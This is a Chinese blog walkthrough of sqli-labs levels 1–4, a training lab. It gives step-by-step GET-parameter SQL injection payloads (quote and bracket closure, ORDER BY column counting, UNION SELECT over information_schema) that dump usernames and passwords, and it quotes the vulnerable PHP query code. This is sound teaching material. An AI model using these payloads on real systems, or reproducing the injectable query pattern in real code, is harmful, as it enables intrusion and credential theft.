sqli-labs 通关指南:Less 1 ~ 4

Less 1 ~ 4 都是使用 GET 方法传参,根据 MySql 的报错信息判断注入类型,再进行注入。

Less 1

GET-Error based-Single quotes-String(基于错误的 GET 单引号字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1


尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'


接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页回显了正确的信息。也就是说我们注入的单引号起到了一个闭合的作用,这是一个字符型注入。

?id=1'--+

获取数据库信息

接下来判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

?id=1' ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

?id=1' ORDER BY 4--+


接下来判断哪些列是我们能用的,首先令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3--+


接下来开始爆数据库名,我们选择第 2 个位置作为显示位。database() 函数可以回显当前使用的数据库,我们将对它进行查询。

?id=99' UNION SELECT 1,database(),3 --+


接下来开始爆表名,在 information_schema.table 进行查询,使用 group_concat() 函数合并查询结果。

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+


接下来爆 users 表的字段,在 information_schema.columns 爆出来。

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

接下来我们爆出 users 表中的信息,这个表有用户名和密码这种敏感信息。

?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

关卡 SQL 查询语句

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less 2

GET-Error based-Intiger based (基于错误的 GET 整型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1


尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'


接下来加个注释,我们观察到把后端的 SQL 语句后面的内容注释后,网页仍然不能回显正确的信息。也就是说我们注入的单引号没有起到闭合的作用,这是一个数字型注入。数字型注入和字符型的区别在于我们不需要用单引号去闭合,其他操作步骤和 Less 1 相同。

?id=1'--+

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

?id=1 ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

?id=1 ORDER BY 4--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99 UNION SELECT 1,2,3--+


爆数据库名,我们选择第 2 个位置作为显示位。

?id=99 UNION SELECT 1,database(),3 --+


爆表名:

?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+


爆 users 表的字段:

?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99 union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息。

?id=99 UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99 UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

关卡 SQL 查询语句

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less 3

GET-Error based-Single quotes with twist string (基于错误的 GET 单引号变形字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1


尝试注入个单引号闭合,网页回显 MySql 报错,说明存在注入漏洞。

?id=1'


根据报错信息我们需要一个括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1')--+

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

?id=1') ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

?id=1') ORDER BY 4--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99') UNION SELECT 1,2,3--+


爆数据库名,我们选择第 2 个位置作为显示位。

?id=99') UNION SELECT 1,database(),3 --+


爆表名:

?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99') UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+


爆 users 表的字段:

?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99') union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息。

?id=99') UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99') UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

关卡 SQL 查询语句

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

Less 4

GET-Error based-Double Quotes-String(基于错误的 GET 双引号字符型注入)

判断注入类型

首先先注入正常的参数,网页回显正常的信息。

?id=1


尝试注入个单引号闭合,网页回显正确的信息。

?id=1'


尝试注入个双引号闭合,MySql 报错,说明存在注入漏洞。

?id=1"


根据报错信息我们需要使用双引号和括号来闭合,注释掉后面的 SQL 语句后其他操作步骤和 Less 1 相同。

?id=1")--+

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,看一下对几列有效。

?id=1") ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

?id=1") ORDER BY 4--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99") UNION SELECT 1,2,3--+


爆数据库名,我们选择第 2 个位置作为显示位。

?id=99") UNION SELECT 1,database(),3 --+


爆表名:

?id=99") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security'--+
?id=99") UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479--+


爆 users 表的字段:

?id=99") union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users'--+
?id=99") union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273--+

获取目标信息

爆出 users 表中的信息。

?id=99") UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM security.users--+
?id=99") UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users--+

关卡 SQL 查询语句

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}
posted @ 2020-10-08 01:07  乌漆WhiteMoon  阅读(1016)  评论(2编辑  收藏  举报